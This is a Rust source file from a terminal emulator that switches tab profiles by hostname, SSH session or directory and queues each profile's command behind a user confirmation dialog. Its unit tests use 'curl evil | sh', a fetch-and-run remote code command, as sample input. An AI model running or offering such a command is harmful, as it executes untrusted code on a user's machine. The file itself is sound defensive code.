Skip to main content

par_term/app/tab_ops/
profile_auto_switch.rs

1//! Automatic profile switching logic for WindowState.
2//!
3//! Contains hostname-based, SSH-command-based, and directory-based automatic
4//! profile switching triggered by OSC 7 / shell-integration events.
5//!
6//! ## Security
7//!
8//! A profile may carry a `command` that is written straight into the running
9//! shell. The trigger for that write is an OSC 7 sequence, which is emitted by
10//! whatever is producing terminal output — including a remote host over SSH —
11//! and a `*` hostname pattern matches everything. Profile commands are
12//! therefore never executed inline. They go through the same confirmation queue
13//! the trigger subsystem uses for `RunCommand` / `SendText`
14//! (`TriggerState::pending_trigger_actions`), so the user sees the exact command
15//! before it runs. Two rules sit on top of that queue:
16//!
17//! 1. `ssh.ssh_auto_profile_switch` gates hostname-driven switching entirely.
18//! 2. A profile fetched from a dynamic (remote) source re-confirms every time,
19//!    even if the user previously chose "Always Allow" for it.
20
21use par_term_config::ProfileId;
22use par_term_emu_core_rust::terminal::ActionResult;
23
24use super::super::window_state::WindowState;
25
26/// Marker bit set on every synthetic profile-command confirmation id.
27///
28/// The core `TriggerRegistry` hands out real trigger ids sequentially starting
29/// at 1, so tagging the high bit keeps profile ids out of that space and stops
30/// an "Always Allow" grant from leaking across the two systems.
31const PROFILE_COMMAND_ID_TAG: u64 = 1 << 63;
32
33/// Synthetic confirmation id for a profile command.
34///
35/// Derived from the command text as well as the profile id, so an
36/// "Always Allow" grant does not transfer to a different command when the
37/// profile is edited or re-fetched.
38fn profile_command_action_id(profile_id: &ProfileId, command_line: &str) -> u64 {
39    use std::hash::{Hash, Hasher};
40
41    let mut hasher = std::collections::hash_map::DefaultHasher::new();
42    profile_id.hash(&mut hasher);
43    command_line.hash(&mut hasher);
44    hasher.finish() | PROFILE_COMMAND_ID_TAG
45}
46
47/// Build the shell line for a profile's `command` plus `command_args`.
48///
49/// Returns `None` when the profile has no command or the command is blank.
50fn profile_command_line(command: Option<&str>, args: Option<&[String]>) -> Option<String> {
51    let command = command?.trim();
52    if command.is_empty() {
53        return None;
54    }
55
56    let mut line = command.to_string();
57    for arg in args.unwrap_or_default() {
58        line.push(' ');
59        line.push_str(arg);
60    }
61    line.push('\n');
62    Some(line)
63}
64
65/// Whether a profile command may skip the confirmation dialog.
66///
67/// `session_approved` is the user's earlier "Always Allow" for this exact
68/// command. It is honoured only for local profiles: the user consented to a
69/// profile *source*, not to arbitrary commands from it, and that source can
70/// change the command on any refresh.
71fn profile_command_pre_approved(remote_origin: bool, session_approved: bool) -> bool {
72    !remote_origin && session_approved
73}
74
75impl WindowState {
76    /// Check for automatic profile switching based on hostname, SSH command, and directory detection
77    ///
78    /// This checks the active tab for hostname and CWD changes (detected via OSC 7),
79    /// SSH command detection, and applies matching profiles automatically.
80    /// Priority: explicit user selection > hostname match > SSH command match > directory match > default
81    ///
82    /// Returns true if a profile was auto-applied, triggering a redraw.
83    pub fn check_auto_profile_switch(&mut self) -> bool {
84        if self.overlay_ui.profile_manager.is_empty() {
85            return false;
86        }
87
88        let mut changed = false;
89
90        // --- Hostname-based switching (highest priority) ---
91        changed |= self.check_auto_hostname_switch();
92
93        // --- SSH command-based switching (medium priority, only if no hostname profile active) ---
94        if !changed {
95            changed |= self.check_ssh_command_switch();
96        }
97
98        // --- Directory-based switching (lower priority, only if no hostname profile) ---
99        changed |= self.check_auto_directory_switch();
100
101        changed
102    }
103
104    /// Check for hostname-based automatic profile switching
105    pub(super) fn check_auto_hostname_switch(&mut self) -> bool {
106        let tab = match self.tab_manager.active_tab_mut() {
107            Some(t) => t,
108            None => return false,
109        };
110
111        let new_hostname = match tab.check_hostname_change() {
112            Some(h) => h,
113            None => {
114                if tab.detected_hostname.is_none() && tab.profile.auto_applied_profile_id.is_some()
115                {
116                    crate::debug_info!(
117                        "PROFILE",
118                        "Clearing auto-applied hostname profile (returned to localhost)"
119                    );
120                    tab.profile.auto_applied_profile_id = None;
121                    tab.profile.profile_icon = None;
122                    tab.profile.badge_override = None;
123                    // Restore original tab title
124                    if let Some(original) = tab.profile.pre_profile_title.take() {
125                        tab.set_title(&original);
126                    }
127
128                    // Revert SSH auto-switch if active
129                    if tab.profile.ssh_auto_switched {
130                        crate::debug_info!(
131                            "PROFILE",
132                            "Reverting SSH auto-switch (disconnected from remote host)"
133                        );
134                        tab.profile.ssh_auto_switched = false;
135                        tab.profile.pre_ssh_switch_profile = None;
136                    }
137                }
138                return false;
139            }
140        };
141
142        // SEC-002: honour the `ssh.ssh_auto_profile_switch` toggle. The hostname
143        // arrives via OSC 7, i.e. from whatever writes to the terminal, so the
144        // user must be able to switch this path off. The revert branch above
145        // still runs, so a tab that switched before the toggle was cleared can
146        // still return to its original title.
147        if !self.config.load().ssh.ssh_auto_profile_switch {
148            crate::debug_log!(
149                "PROFILE",
150                "Hostname auto-switch disabled by config (ssh_auto_profile_switch=false)"
151            );
152            return false;
153        }
154
155        // Don't re-apply the same profile
156        if let Some(existing_profile_id) = tab.profile.auto_applied_profile_id
157            && let Some(profile) = self
158                .overlay_ui
159                .profile_manager
160                .find_by_hostname(&new_hostname)
161            && profile.id == existing_profile_id
162        {
163            return false;
164        }
165
166        if let Some(profile) = self
167            .overlay_ui
168            .profile_manager
169            .find_by_hostname(&new_hostname)
170        {
171            let profile_name = profile.name.clone();
172            let profile_id = profile.id;
173            let profile_tab_name = profile.tab_name.clone();
174            let profile_icon = profile.icon.clone();
175            let profile_badge_text = profile.badge_text.clone();
176            let profile_command = profile.command.clone();
177            let profile_command_args = profile.command_args.clone();
178            let profile_is_remote = profile.source.is_dynamic();
179
180            crate::debug_info!(
181                "PROFILE",
182                "Auto-switching to profile '{}' for hostname '{}'",
183                profile_name,
184                new_hostname
185            );
186
187            // Apply profile visual settings to the tab
188            if let Some(tab) = self.tab_manager.active_tab_mut() {
189                // Track SSH auto-switch state for revert on disconnect
190                if !tab.profile.ssh_auto_switched {
191                    tab.profile.pre_ssh_switch_profile = tab.profile.auto_applied_profile_id;
192                    tab.profile.ssh_auto_switched = true;
193                }
194
195                tab.profile.auto_applied_profile_id = Some(profile_id);
196                tab.profile.profile_icon = profile_icon;
197
198                // Save original title before overriding (only if not already saved)
199                if tab.profile.pre_profile_title.is_none() {
200                    tab.profile.pre_profile_title = Some(tab.title.clone());
201                }
202                // Apply profile tab name (fall back to profile name)
203                tab.set_title(&profile_tab_name.unwrap_or_else(|| profile_name.clone()));
204
205                // Apply badge text override if configured
206                if let Some(badge_text) = profile_badge_text {
207                    tab.profile.badge_override = Some(badge_text);
208                }
209            }
210
211            // Queue the profile command for confirmation (never executed inline).
212            self.dispatch_profile_command(
213                profile_id,
214                &profile_name,
215                profile_command.as_deref(),
216                profile_command_args.as_deref(),
217                profile_is_remote,
218                &format!("hostname '{}'", new_hostname),
219            );
220
221            // Apply profile badge settings (color, font, margins, etc.)
222            self.apply_profile_badge(
223                &self
224                    .overlay_ui
225                    .profile_manager
226                    .get(&profile_id)
227                    .expect("profile_id obtained from profile_manager.find_by_name above")
228                    .clone(),
229            );
230
231            log::info!(
232                "Auto-applied profile '{}' for hostname '{}'",
233                profile_name,
234                new_hostname
235            );
236            true
237        } else {
238            crate::debug_info!(
239                "PROFILE",
240                "No profile matches hostname '{}' - consider creating one",
241                new_hostname
242            );
243            false
244        }
245    }
246
247    /// Check for SSH command-based automatic profile switching
248    ///
249    /// When the running command is "ssh", parse the target host from the command
250    /// and try to match a profile by hostname pattern. When SSH disconnects
251    /// (command changes from "ssh" to something else), revert to the previous profile.
252    pub(super) fn check_ssh_command_switch(&mut self) -> bool {
253        // Extract command info and current SSH state from the active tab
254        let (current_command, already_switched, has_hostname_profile) = {
255            let tab = match self.tab_manager.active_tab() {
256                Some(t) => t,
257                None => return false,
258            };
259
260            // try_lock: intentional — SSH command check in about_to_wait (sync event loop).
261            // On miss: returns None (no command seen), skipping SSH profile switch this frame.
262            // Will be evaluated again next frame.
263            let cmd = if let Ok(term) = tab.terminal.try_read() {
264                term.get_running_command_name()
265            } else {
266                None
267            };
268
269            (
270                cmd,
271                tab.profile.ssh_auto_switched,
272                tab.profile.auto_applied_profile_id.is_some(),
273            )
274        };
275
276        let is_ssh = current_command
277            .as_ref()
278            .is_some_and(|cmd| cmd == "ssh" || cmd.ends_with("/ssh"));
279
280        if is_ssh && !already_switched && !has_hostname_profile {
281            // SSH just started - try to extract the target host from the command
282            // Shell integration may report just "ssh" as the command name;
283            // the actual hostname will come via OSC 7 hostname detection.
284            // For now, mark that SSH is active so we can revert when it ends.
285            if let Some(tab) = self.tab_manager.active_tab_mut() {
286                crate::debug_info!(
287                    "PROFILE",
288                    "SSH command detected - waiting for hostname via OSC 7"
289                );
290                // Mark SSH as active for revert tracking (the actual profile
291                // switch will happen via check_auto_hostname_switch when OSC 7 arrives)
292                tab.profile.ssh_auto_switched = true;
293            }
294            false
295        } else if !is_ssh && already_switched && !has_hostname_profile {
296            // SSH disconnected and no hostname-based profile is active - revert
297            if let Some(tab) = self.tab_manager.active_tab_mut() {
298                crate::debug_info!("PROFILE", "SSH command ended - reverting auto-switch state");
299                tab.profile.ssh_auto_switched = false;
300                let _prev_profile = tab.profile.pre_ssh_switch_profile.take();
301                // Clear any SSH-related visual overrides
302                tab.profile.profile_icon = None;
303                tab.profile.badge_override = None;
304                if let Some(original) = tab.profile.pre_profile_title.take() {
305                    tab.set_title(&original);
306                }
307            }
308            true // Trigger redraw to reflect reverted state
309        } else {
310            false
311        }
312    }
313
314    /// Check for directory-based automatic profile switching
315    pub(super) fn check_auto_directory_switch(&mut self) -> bool {
316        let tab = match self.tab_manager.active_tab_mut() {
317            Some(t) => t,
318            None => return false,
319        };
320
321        // Don't override hostname-based profile (higher priority)
322        if tab.profile.auto_applied_profile_id.is_some() {
323            return false;
324        }
325
326        let new_cwd = match tab.check_cwd_change() {
327            Some(c) => c,
328            None => return false,
329        };
330
331        // Don't re-apply the same profile
332        if let Some(existing_profile_id) = tab.profile.auto_applied_dir_profile_id
333            && let Some(profile) = self.overlay_ui.profile_manager.find_by_directory(&new_cwd)
334            && profile.id == existing_profile_id
335        {
336            return false;
337        }
338
339        if let Some(profile) = self.overlay_ui.profile_manager.find_by_directory(&new_cwd) {
340            let profile_name = profile.name.clone();
341            let profile_id = profile.id;
342            let profile_tab_name = profile.tab_name.clone();
343            let profile_icon = profile.icon.clone();
344            let profile_badge_text = profile.badge_text.clone();
345            let profile_command = profile.command.clone();
346            let profile_command_args = profile.command_args.clone();
347            let profile_is_remote = profile.source.is_dynamic();
348
349            crate::debug_info!(
350                "PROFILE",
351                "Auto-switching to profile '{}' for directory '{}'",
352                profile_name,
353                new_cwd
354            );
355
356            // Apply profile visual settings to the tab
357            if let Some(tab) = self.tab_manager.active_tab_mut() {
358                tab.profile.auto_applied_dir_profile_id = Some(profile_id);
359                tab.profile.profile_icon = profile_icon;
360
361                // Save original title before overriding (only if not already saved)
362                if tab.profile.pre_profile_title.is_none() {
363                    tab.profile.pre_profile_title = Some(tab.title.clone());
364                }
365                // Apply profile tab name (fall back to profile name)
366                tab.set_title(&profile_tab_name.unwrap_or_else(|| profile_name.clone()));
367
368                // Apply badge text override if configured
369                if let Some(badge_text) = profile_badge_text {
370                    tab.profile.badge_override = Some(badge_text);
371                }
372            }
373
374            // Queue the profile command for confirmation (never executed inline).
375            self.dispatch_profile_command(
376                profile_id,
377                &profile_name,
378                profile_command.as_deref(),
379                profile_command_args.as_deref(),
380                profile_is_remote,
381                &format!("directory '{}'", new_cwd),
382            );
383
384            // Apply profile badge settings (color, font, margins, etc.)
385            self.apply_profile_badge(
386                &self
387                    .overlay_ui
388                    .profile_manager
389                    .get(&profile_id)
390                    .expect("profile_id obtained from profile_manager.find_by_name above")
391                    .clone(),
392            );
393
394            log::info!(
395                "Auto-applied profile '{}' for directory '{}'",
396                profile_name,
397                new_cwd
398            );
399            true
400        } else {
401            // Clear directory profile if CWD no longer matches any pattern
402            if let Some(tab) = self.tab_manager.active_tab_mut()
403                && tab.profile.auto_applied_dir_profile_id.is_some()
404            {
405                crate::debug_info!(
406                    "PROFILE",
407                    "Clearing auto-applied directory profile (CWD '{}' no longer matches)",
408                    new_cwd
409                );
410                tab.profile.auto_applied_dir_profile_id = None;
411                tab.profile.profile_icon = None;
412                tab.profile.badge_override = None;
413                // Restore original tab title
414                if let Some(original) = tab.profile.pre_profile_title.take() {
415                    tab.set_title(&original);
416                }
417            }
418            false
419        }
420    }
421
422    /// Queue a profile's `command` for execution behind the trigger
423    /// confirmation dialog.
424    ///
425    /// Shared by the hostname and directory auto-switch paths. The command is
426    /// never written to the shell from here: it is pushed onto
427    /// `TriggerState::pending_trigger_actions` as a `SendText` action, and
428    /// `check_trigger_actions` performs the single write once the user
429    /// approves. That keeps one execution sink for every automated write into
430    /// the shell, and it means auto-switch inherits the trigger subsystem's
431    /// audit logging.
432    pub(crate) fn dispatch_profile_command(
433        &mut self,
434        profile_id: ProfileId,
435        profile_name: &str,
436        command: Option<&str>,
437        command_args: Option<&[String]>,
438        remote_origin: bool,
439        match_reason: &str,
440    ) {
441        let Some(command_line) = profile_command_line(command, command_args) else {
442            return;
443        };
444
445        let action_id = profile_command_action_id(&profile_id, &command_line);
446        let session_approved = self
447            .trigger_state
448            .always_allow_trigger_ids
449            .contains(&action_id);
450
451        let action = ActionResult::SendText {
452            trigger_id: action_id,
453            text: command_line.clone(),
454            delay_ms: 0,
455        };
456
457        if profile_command_pre_approved(remote_origin, session_approved) {
458            self.trigger_state.approved_pending_actions.push(action);
459            return;
460        }
461
462        // A hostname that flaps would otherwise stack one dialog per transition.
463        if self
464            .trigger_state
465            .pending_trigger_actions
466            .iter()
467            .any(|pending| pending.trigger_id == action_id)
468        {
469            return;
470        }
471
472        let displayed = command_line.trim_end();
473        crate::debug_info!(
474            "PROFILE",
475            "AUDIT profile command queued for confirmation profile='{}' remote={} command={:?}",
476            profile_name,
477            remote_origin,
478            displayed
479        );
480
481        let origin_note = if remote_origin {
482            "\nThis profile was fetched from a remote profile source."
483        } else {
484            ""
485        };
486        // Without an entry here the dialog claims "A trigger matched terminal
487        // output", which is false for this producer. Registered only on the path
488        // that actually queues a dialog — the dialog removes the entry when the
489        // action resolves, so an entry on a path that never queues would leak.
490        self.trigger_state.automation_action_notes.insert(
491            action_id,
492            "Automatic profile switching queued this, not an output trigger. \
493             Approving runs the command shown above in this shell."
494                .to_string(),
495        );
496        self.trigger_state.pending_trigger_actions.push(
497            crate::app::window_state::PendingTriggerAction {
498                trigger_id: action_id,
499                trigger_name: format!("Profile auto-switch: {}", profile_name),
500                action,
501                description: format!(
502                    "Matched {}.{}\nRun in this shell: {}",
503                    match_reason, origin_note, displayed
504                ),
505                // Auto-switch matches on the active tab's hostname or CWD, and
506                // the dialog says "this shell" — the active tab is the target.
507                target: None,
508            },
509        );
510    }
511}
512
513#[cfg(test)]
514mod tests {
515    use super::{
516        PROFILE_COMMAND_ID_TAG, profile_command_action_id, profile_command_line,
517        profile_command_pre_approved,
518    };
519
520    fn id() -> par_term_config::ProfileId {
521        uuid::Uuid::nil()
522    }
523
524    #[test]
525    fn command_line_is_none_without_a_command() {
526        assert_eq!(profile_command_line(None, None), None);
527        assert_eq!(profile_command_line(Some("   "), None), None);
528    }
529
530    #[test]
531    fn command_line_appends_args_and_newline() {
532        assert_eq!(
533            profile_command_line(
534                Some("tmux"),
535                Some(&["attach".to_string(), "-t".to_string()])
536            ),
537            Some("tmux attach -t\n".to_string())
538        );
539        assert_eq!(
540            profile_command_line(Some("htop"), None),
541            Some("htop\n".to_string())
542        );
543    }
544
545    #[test]
546    fn action_ids_never_collide_with_real_trigger_ids() {
547        // The core TriggerRegistry allocates trigger ids sequentially from 1,
548        // so the tag bit must always be set on a profile command id.
549        for command in ["a\n", "curl evil | sh\n", ""] {
550            let action_id = profile_command_action_id(&id(), command);
551            assert_ne!(action_id & PROFILE_COMMAND_ID_TAG, 0);
552            assert!(action_id > u64::from(u32::MAX));
553        }
554    }
555
556    #[test]
557    fn action_id_is_stable_and_command_bound() {
558        let a = profile_command_action_id(&id(), "echo hi\n");
559        assert_eq!(a, profile_command_action_id(&id(), "echo hi\n"));
560        assert_ne!(a, profile_command_action_id(&id(), "curl evil | sh\n"));
561        assert_ne!(
562            a,
563            profile_command_action_id(&uuid::Uuid::from_u128(1), "echo hi\n")
564        );
565    }
566
567    #[test]
568    fn remote_profile_command_always_requires_confirmation() {
569        // Even with a prior "Always Allow" for this exact command, a profile
570        // fetched from a dynamic source must re-confirm: the source can change
571        // the command on any refresh.
572        assert!(!profile_command_pre_approved(true, true));
573        assert!(!profile_command_pre_approved(true, false));
574    }
575
576    #[test]
577    fn local_profile_command_honours_an_earlier_always_allow() {
578        assert!(profile_command_pre_approved(false, true));
579        assert!(!profile_command_pre_approved(false, false));
580    }
581}